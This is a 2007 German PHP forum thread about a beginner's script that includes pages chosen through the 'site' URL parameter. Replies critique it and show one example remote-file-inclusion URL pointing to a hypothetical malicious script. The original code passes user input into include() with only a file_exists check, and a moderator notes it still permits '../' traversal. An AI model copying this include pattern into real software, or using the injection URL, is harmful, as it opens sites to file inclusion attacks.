php.de

Zurück   php.de > Webentwicklung > PHP-Fortgeschrittene

PHP-Fortgeschrittene Arbeiten mit PHP ohne Einschränkungen

Antwort
 
LinkBack Themen-Optionen Thema bewerten
Alt 19.09.2007, 21:57  
Neuer Benutzer
 
Registriert seit: 19.09.2007
Beiträge: 20
MaxDittmann befindet sich auf einem aufstrebenden Ast
Standard einfacher Code zum Einbinden von "Inhaltsbereichen"

Hallo zusammen,
ich habe mal einen ganz kleinen Code entworfen, um zB über den link "index.php?site=news" auch auf "news.php" in dem eigentlichen Index.php-Gerüst angezeigt zu bekommen. Ich weiß - das ist vielleicht nichts neues für euch aber ich bin noch im Anfangsstudium von php...

Der Code ist völlig Idiotensicher wie ich finde, denn es müssen nicht einmal die Dateien "index" oder "error" existieren - es werden einfach Alternativtexte angezeigft wenn die Dateien nicht da sind... schaut's euch einfach mal an...

PHP-Code:
<?php

$get
=$_GET['site'];    # Da wird der "site=" Anhang ausgelesen
$id=$get.".php";       # seite.php brauchen wir um nachher leichter zu arbeiten


if($get!="")              # Wenn kein Anhang vorhanden ist wird der Versuch, die
{                         # Seite anzuzeigen, gestartet...
 
if(file_exists($id))     # Wenn die Datei existiert...
  
{
  include(
$id);           # ...wird sie auch eingebunden
  
}
  else                         
# ansonsten:
  

    if(
file_exists(error.php))  ## error.php wird eingebunden.
     
{                          ## Wenn die nicht existiert,
    
include("error.php");       ## erscheint der Alternativ-Text.
    
}
  else
    {
    echo 
"<b>Error</b><p>Die Seite <b>$get</b> konnte nicht gefunden werden.";
    }
  }
}
else                           
## Wenn wir von Anfang an keinen Anhang gefunden
{                              ## haben, dann wird versucht "index.php" einzubinden.
  
if(file_exists(index.php))
  {
  include(
"index.php");
  }
  else                                 
## Wenn diese aber auch nicht existiert, 
  
{                                    ## dann auch hier der Alternativtext.
  
echo "Es wurde keine index-Seite gefunden."
  }
}
?>
Der platzsparende Code zum Einfügen (das selbe ohne Kommentare und überflüsige Leerzeichen/Absätze) wäre dann:

PHP-Code:
<?php
$get
=$_GET['site'];
$id=$get.".php";
if(
$get!="")
{ if(
file_exists($id)) { include($id);}
else { if(
file_exists(error.php)){include("error.php");}
else { echo 
"<b>Error</b><p>Die Seite <b>$get</b> konnte nicht gefunden werden.";}}}
else { if(
file_exists(index.php)) {include("index.php");}
else { echo 
"Es wurde keine index-Seite gefunden."; }}
?>
Würd mich über Resonanzen freuen!
MaxDittmann ist offline   Mit Zitat antworten
Sponsor Mitteilung
PHP Code Flüsterer

Registriert seit: 21.08.2005
Beiträge: 4682
PHP-Kenntnisse:
Fortgeschritten

Alt 20.09.2007, 09:19  
there's only one psycho
 
Benutzerbild von PsychoEagle
 
Registriert seit: 21.08.2007
Beiträge: 1.283
PHP-Kenntnisse:
Anfänger
PsychoEagle ist ein sehr geschätzer MenschPsychoEagle ist ein sehr geschätzer MenschPsychoEagle ist ein sehr geschätzer Mensch
PsychoEagle eine Nachricht über ICQ schicken PsychoEagle eine Nachricht über Skype™ schicken
Standard

Dir fehlen die Anführungszeichen bei deinen file_exists("text"). Deine Einrückung ist auch nicht so toll.

PHP-Code:
<?php
 
<?php
$get 
$_GET['site'];
$id  $get.".php";
if(
$get != "") {
    if(
file_exists($id)) {
        include(
$id);
    } else {
        if(
file_exists(error.php)){
            include(
"error.php");
        } else {
            echo 
"<b>Error</b><p>Die Seite <b>$get</b> konnte nicht gefunden werden.";
        }
    }
} else {
    if(
file_exists(index.php)) {
        include(
"index.php");
    } else {
        echo 
"Es wurde keine index-Seite gefunden.";
    }
}
?>
Zum Code selbst:
Prüfe, ob die Datei überhaupt auf dem lokalen Server liegt bzw ob es eine Datei ist,welche eingebunden werden darf (= Whitelist). So kann man schnell einfach folgendes eingeben:

Code:
  index.php?site=http://meineseite.ru/boesesscript.txt
Grüße
Da Psy
__________________
"Weaseling out of things is important to learn. It's what separates us from the animals ... except the weasel." (Homer J. Simpson)
PsychoEagle ist offline   Mit Zitat antworten
Alt 22.09.2007, 00:26  
Neuer Benutzer
 
Registriert seit: 22.09.2007
Beiträge: 12
PHP-Kenntnisse:
Fortgeschritten
h3ir befindet sich auf einem aufstrebenden Ast
h3ir eine Nachricht über ICQ schicken
Standard

Wie PsychoEagle es schon gesagt hat,
das was du bislang hast ist unsicher!

Oder gebe einen Pfad vor.

z.B.
PHP-Code:
include "http://www.daiendomain.de/".$ips
Weil wenn dann jemand kommt mit:

http://meineseite.ru/boesesscript.txt

Wird er nach:

http://www.daiendomain.de/http://mei...esesscript.txt

geleitet und dort liegt die datei nicht, daher:
Error
h3ir ist offline   Mit Zitat antworten
Alt 25.09.2007, 00:20  
Moderator
 
Benutzerbild von agrajag
 
Registriert seit: 02.10.2006
Beiträge: 3.820
PHP-Kenntnisse:
Fortgeschritten
agrajag wird schon bald berühmt werdenagrajag wird schon bald berühmt werden
Standard

Zitat:
Zitat von h3ir Beitrag anzeigen
Wie PsychoEagle es schon gesagt hat,
das was du bislang hast ist unsicher!
Nein ist es nicht. Es ist nicht schön (unter anderem weil bei file_exists() die Anführungszeichen fehlen, Notices erzeugt werden können usw. usf.) Aber unsicher ist es nicht.

Er prüft doch mit file_exists(). Und file_exists checkt ob die Datei über das Dateisystem erreichbar ist (URLs gehen nicht). (was geht ist ein ../datei zu übergeben, aber das kann ja auch gewollt sein...)

Zitat:
Oder gebe einen Pfad vor.

z.B.
PHP-Code:
include "http://www.daiendomain.de/".$ips
Scherzkeks So wird der schon geparste Inhalt der Datei eingebunden - und das ist bestimmt nicht gewollt.
agrajag ist offline   Mit Zitat antworten
Alt 26.09.2007, 12:45  
there's only one psycho
 
Benutzerbild von PsychoEagle
 
Registriert seit: 21.08.2007
Beiträge: 1.283
PHP-Kenntnisse:
Anfänger
PsychoEagle ist ein sehr geschätzer MenschPsychoEagle ist ein sehr geschätzer MenschPsychoEagle ist ein sehr geschätzer Mensch
PsychoEagle eine Nachricht über ICQ schicken PsychoEagle eine Nachricht über Skype™ schicken
Standard

Zitat:
Zitat von agrajag Beitrag anzeigen
file_exists checkt ob die Datei über das Dateisystem erreichbar ist (URLs gehen nicht)
Hmm stimmt ja ... denkfehler von meiner Seite aber ne Whitelist ist dennoch ein wenig schöner und überwachbarer oder nicht?

Grüße
Da Psy
__________________
"Weaseling out of things is important to learn. It's what separates us from the animals ... except the weasel." (Homer J. Simpson)
PsychoEagle ist offline   Mit Zitat antworten
Alt 01.10.2007, 14:14  
Neuer Benutzer
 
Registriert seit: 19.09.2007
Beiträge: 20
MaxDittmann befindet sich auf einem aufstrebenden Ast
Standard

also der checkt doch ob es die daten "x.php" in dem ordner gibt.. da kann doch nix falsches eingebunden werden, oder????

und es klappt ja auch ihne die anführungszeichen ôô
MaxDittmann ist offline   Mit Zitat antworten
Alt 01.10.2007, 15:54  
there's only one psycho
 
Benutzerbild von PsychoEagle
 
Registriert seit: 21.08.2007
Beiträge: 1.283
PHP-Kenntnisse:
Anfänger
PsychoEagle ist ein sehr geschätzer MenschPsychoEagle ist ein sehr geschätzer MenschPsychoEagle ist ein sehr geschätzer Mensch
PsychoEagle eine Nachricht über ICQ schicken PsychoEagle eine Nachricht über Skype™ schicken
Standard

Ob was klappt, und ob es sauber und richtig ist sind 2 paar Schuhe
__________________
"Weaseling out of things is important to learn. It's what separates us from the animals ... except the weasel." (Homer J. Simpson)
PsychoEagle ist offline   Mit Zitat antworten
Antwort


Themen-Optionen
Thema bewerten
Thema bewerten:

Forumregeln
Es ist dir nicht erlaubt, neue Themen zu verfassen.
Es ist dir nicht erlaubt, auf Beiträge zu antworten.
Es ist dir nicht erlaubt, Anhänge hochzuladen.
Es ist dir nicht erlaubt, deine Beiträge zu bearbeiten.

BB-Code ist an.
Smileys sind an.
[IMG] Code ist an.
HTML-Code ist aus.
Trackbacks are an
Pingbacks are an
Refbacks are an
Gehe zu

Ähnliche Themen
Thema Autor Forum Antworten Letzter Beitrag
Probleme mit PHP Code HappyDieMuschel PHP Tipps 2008 7 28.05.2008 06:34
[Erledigt] PHP Code aus Datenbank ayti PHP Tipps 2008 8 26.05.2008 19:40
Design und Code Trennen TeazY PHP Tipps 2008 29 21.05.2008 12:08
Nur bestimmten Html Code zulassen? litterauspirna PHP Tipps 2008 5 29.04.2008 12:30
Highlight im BBCodefunktion einbinden PHP Tipps 2007 15 09.12.2005 11:15
bb code in htm code wandeln janni PHP Tipps 2007 2 04.11.2005 22:36
JS Code in PHP Code?? HTML, Usability und Barrierefreiheit 12 08.08.2005 15:45
Seite 1/2/3..Code was haltet ihr davon? Matthiasnet PHP Tipps 2005-2 4 29.07.2005 20:29
[Erledigt] Lesbarkeit von Code Off-Topic Diskussionen 6 14.07.2005 14:48
code aus db mit eval replacen chief-thomson PHP Tipps 2005-2 4 08.07.2005 15:33
ASCII - Zeichen in String einbinden faux PHP Tipps 2005 10 28.05.2005 18:29
Fehler im Code, kann ihn nicht finden PHP Tipps 2005 9 16.05.2005 16:17
Bestätigungmail code? PHP Tipps 2005 7 16.05.2005 13:18
Content bereich aus Mysql mit php code einbinden Datenbanken 0 28.11.2004 16:06

Besucher kamen über folgende Suchanfragen bei Google auf diese Seite
arbeiten mit get und php, einfacher code zum einbinden von dateien php, einfacher code, wie gebe ich den code bei php ein, psychoeagle, code zum einbinden, php einbinden mit get, php get einbinden, seite anhand von get einbinden php, inhalte einbinden php, inhalte einbinden mit php, news in index einbinden, get php inhalt einbinden, leichter php code, wo in index.php wird der code eingebunden, inhaltsbereich html, einfacher php code, php inhalt mit einbinden, einfacher sicherheitscode, index.php seiten code

Alle Zeitangaben in WEZ +1. Es ist jetzt 19:59 Uhr.




Powered by vBulletin® Version 3.7.2 (Deutsch)
Copyright ©2000 - 2012, Jelsoft Enterprises Ltd.
Search Engine Optimization by vBSEO 3.2.0
Aprilia-Forum, Aquaristik-Forum, Liebeskummer-Forum, Zierfisch-Forum, Geizkragen-Forum